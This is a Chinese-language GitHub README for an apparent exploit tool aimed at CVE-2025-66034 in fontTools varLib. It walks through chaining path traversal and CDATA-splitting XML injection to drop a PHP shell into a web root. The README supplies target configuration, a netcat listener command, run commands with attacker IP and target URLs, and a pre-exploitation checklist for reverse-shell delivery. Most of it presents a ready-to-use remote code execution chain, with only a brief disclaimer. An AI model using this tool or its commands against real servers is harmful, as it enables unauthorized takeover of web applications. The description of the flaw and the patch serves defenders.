v3cn4x00/POC-CVE-2025-66034

GitHub: v3cn4x00/POC-CVE-2025-66034

针对 CVE-2025-66034 的完整利用工具,通过组合路径穿越和 XML 注入实现针对 fontTools varLib 组件的任意文件写入与远程代码执行。

Stars: 2 | Forks: 0

# font_varlib.py — CVE-2025-66034 ![CVE](https://img.shields.io/badge/CVE-2025--66034-red) ![组件](https://img.shields.io/badge/component-fontTools%20varLib-orange) ![类别](https://img.shields.io/badge/class-Arbitrary%20File%20Write-red) ![语言](https://img.shields.io/badge/language-Python-blue) ![依赖](https://img.shields.io/badge/deps-fonttools%20%7C%20requests-lightgrey) ![许可证](https://img.shields.io/badge/license-MIT-green) ## 目录 - [概述](#overview) - [漏洞详情](#vulnerability-details) - [攻击链](#attack-chain) - [环境要求](#requirements) - [安装说明](#installation) - [配置说明](#configuration) - [使用方法](#usage) - [工作原理](#how-it-works) - [漏洞代码](#vulnerable-code) - [利用前检查清单](#pre-exploitation-checklist) - [测试环境](#tested-on) - [免责声明](#disclaimer) - [参考资料](#references) ## 概述 **CVE-2025-66034** 是 `fontTools.varLib` 可变字体生成管线中的一个漏洞。当 Web 应用程序暴露此管线并接受用户提供的 `.designspace` 文件时,两个弱点链接在一起可实现 **未经认证的远程代码执行**。 `font_varlib.py` 自动化了完整的漏洞利用链 —— 字体生成、payload 制作、上传以及反向 shell 交付。 ## 漏洞详情 | 字段 | 详情 | |-------|--------| | CVE ID | CVE-2025-66034 | | GHSA | GHSA-768j-98cg-p3fv | | 软件包 | fonttools (pip) | | 受影响版本范围 | `>= 4.33.0, < 4.60.2` | | 修复版本 | `4.60.2` | | 严重程度 | 中等 (CVSS 6.3) | | 攻击向量 | 本地 (需要将文件上传至目标) | | 所需权限 | 无 | | 用户交互 | 需要 (上传触发) | ### 弱点链 | # | 原语 | CWE | 根本原因 | |---|-----------|-----|------------| | 1 | 路径穿越 | CWE-22 | `.designspace` 中的 `filename` 属性直接传递给 `os.path.join()` 而未经过过滤 —— 绝对路径会完全覆盖预期的输出目录 | | 2 | XML 注入 | CWE-91 | `` CDATA 部分允许使用分割序列 (`]]]]>`) 将原始 PHP 代码绕过 XML 解析器混入写入的输出文件中 | ## 攻击链 ``` Attacker crafts malicious .designspace │ ├── │ └── PATH TRAVERSAL │ os.path.join(output_dir, absolute_path) │ → output_dir discarded → write to web root │ └── ]]]]>]]> └── XML INJECTION CDATA split embeds raw PHP into the output font binary │ ▼ fontTools.varLib.main() processes file server-side │ ▼ shell.php written to web-accessible directory │ ▼ GET /files/shell.php → PHP executes → reverse shell callback │ ▼ RCE as www-data ``` ## 环境要求 **Python:** 3.9+ **依赖项:** ``` pip install fonttools requests ``` **系统:** ``` nc (netcat) — required for auto listener mode (--no-listen skips this) ``` ## 安装说明 ``` git clone https://github.com/yourhandle/font_varlib cd font_varlib pip install fonttools requests ``` ## 配置说明 在运行之前,打开 `font_varlib.py` 并更新文件顶部的配置块以匹配您的目标。每个值都有内联注释解释其含义以及如何找到正确的值。 ``` # ══════════════════════════════════════════════════════════════════════════════ # DEFAULTS # 在运行前更改这些值以匹配您的目标。 # 所有值也可以在运行时通过 CLI flags 覆盖 — 参见 --help。 # ══════════════════════════════════════════════════════════════════════════════ # 上传主机的 Base URL(即接受 .designspace 的站点) UPLOAD_HOST = "http://test.com" # 上传主机上处理 multipart form POST 的路径 # 使用 Burp 确认 — 在点击生成按钮后查找 POST 请求 UPLOAD_ENDPOINT = "/tools/variable-font-generator/process" # 服务器上写入输出文件的绝对文件系统路径 # 必须可通过 Web 访问,以便通过 HTTP 触发 shell WEBROOT = "/var/www/test.com/public/files" # 用于获取/触发已写入 shell 文件的 Base URL # 映射到磁盘上的 WEBROOT SHELL_HOST = "http://testing.test.com/files" # Multipart form 字段名称 — 运行前请使用 Burp 确认 # 如果上传静默失败(HTTP 200 但没有 shell),通常是由错误的字段名称导致的 FIELD_DESIGNSPACE = "designspace" FIELD_MASTERS = "masters" # Shell 文件名前缀 — 运行时附加随机后缀 SHELL_PREFIX = "f0nt_" # 随机后缀的长度 — 越长越难猜测 SHELL_SUFFIX_LEN = 8 ``` ## 使用方法 ### 基础用法 — 自动 nc 监听器 ``` python3 font_varlib.py --ip --port ``` ### 手动监听器 — 自行启动 nc ``` # 终端 1 — 启动您的 listener nc -lvnp 4444 # 终端 2 — 运行 exploit(不使用自动 listener) python3 font_varlib.py --ip --port 4444 --no-listen ``` ### 自定义目标 — 运行时覆盖所有默认值 ``` python3 font_varlib.py \ --ip 10.10.14.5 \ --port 4444 \ --upload http://target.htb/tools/variable-font-generator/process \ --webroot /var/www/html/files \ --shell http://target.htb/files ``` ### 完整选项参考 | 参数 | 必填 | 默认值 | 描述 | |----------|----------|---------|-------------| | `--ip` | ✓ | — | 攻击者监听器 IP | | `--port` | ✓ | — | 攻击者监听器端口 | | `--upload` | | `UPLOAD_HOST + UPLOAD_ENDPOINT` | 上传端点 (POST) | | `--webroot` | | `WEBROOT` | 服务器端文件系统写入路径 (必须可通过 Web 访问) | | `--shell` | | `SHELL_HOST` | 用于触发已写入 shell 的基础 URL | | `--no-listen` | | `false` | 跳过自动 nc 监听器 — 仅触发 | ## 工作原理 ### 步骤 1 — 字体生成 使用 `fontTools.FontBuilder` 以编程方式生成两个最小但结构有效的 `.ttf` 源文件。`varLib` 至少需要两个轴主文件才能处理可变字体 —— 这些文件满足该要求,而无需磁盘上存在真实的字体文件。 ### 步骤 2 — Payload 制作 构建一个恶意的 `.designspace` XML 文件,嵌入两个攻击原语: **原语 1 — 通过 CDATA 分割进行 XML 注入:** ``` ]]]]>]]> ``` 序列 `]]]]>` 终止当前的 CDATA 块并立即打开一个新的块。XML 解析器将其作为有效标记处理,但 `varLib` 将内容逐字序列化到输出文件中 —— 将原始 PHP 代码嵌入到字体二进制文件中。 **原语 2 — 通过 filename 属性进行路径穿越:** ``` ``` `varLib` 按如下方式构建输出路径: ``` output_path = os.path.join(output_dir, filename) ``` 当 `filename` 是绝对路径时,Python 的 `os.path.join()` 会完全丢弃 `output_dir`。受影响的版本中未应用任何过滤措施。 ### 步骤 3 — 上传 `.designspace` 和两个 `.ttf` 文件作为 multipart POST 发送到目标的字体生成端点,使用的字段名称已通过 Burp 确认。 ### 步骤 4 — 触发 对已写入的 `.php` 文件执行 HTTP GET 请求将执行反向 shell,该 shell 通过 `fsockopen` + `proc_open` 回连到攻击者的 `nc` 监听器 —— 目标上无需 curl、wget 或 Python。 ## 漏洞代码 **`fontTools/varLib/__init__.py` (受影响版本):** ``` filename = vf.filename # attacker-controlled, unsanitised output_path = os.path.join(output_dir, filename) # path traversal via absolute path vf.save(output_path) # arbitrary file write ``` **4.60.2 中的补丁** —— 在构建 `output_path` 之前对 `filename` 强制执行 `os.path.basename()`,去除所有路径穿越序列。 ## 利用前检查清单 在运行之前,确认以下所有事项: ``` [ ] fonttools version on target is >= 4.33.0 and < 4.60.2 [ ] Target accepts .designspace + .ttf file uploads [ ] Backend calls fontTools.varLib.main() on the uploaded .designspace [ ] Upload form field names confirmed with Burp (designspace + masters) [ ] WEBROOT is web-accessible from outside [ ] WEBROOT is writable by the web process (www-data or equivalent) [ ] SHELL_HOST (--shell) is reachable from your machine [ ] Target hostname are in /etc/hosts ``` ## 测试环境 | 环境 | fonttools 版本 | 结果 | |-------------|------------------|--------| | Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ 已确认 | ## 免责声明 本工具仅用于**教育和授权安全研究目的**。 请勿对您不拥有或**未获得明确书面许可**进行测试的任何系统使用本工具。作者不对滥用或本软件造成的任何损害承担责任。 ## 参考资料 | 资源 | 链接 | |----------|------| | NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 | | fontTools 安全公告 | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv | | 补丁提交 — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 | | fontTools 项目 | https://github.com/fonttools/fonttools |
标签:CISA项目, CVE-2025-66034, CWE-22, fonttools, Maven, PE 加载器, PoC, RCE, varLib, Web安全, 任意文件写入, 反向Shell, 威胁模拟, 字体安全, 文件上传漏洞, 暴力破解, 漏洞分析, 漏洞验证, 编程工具, 网络信息收集, 网络安全, 蓝队分析, 路径探测, 路径遍历, 远程代码执行, 逆向工具, 隐私保护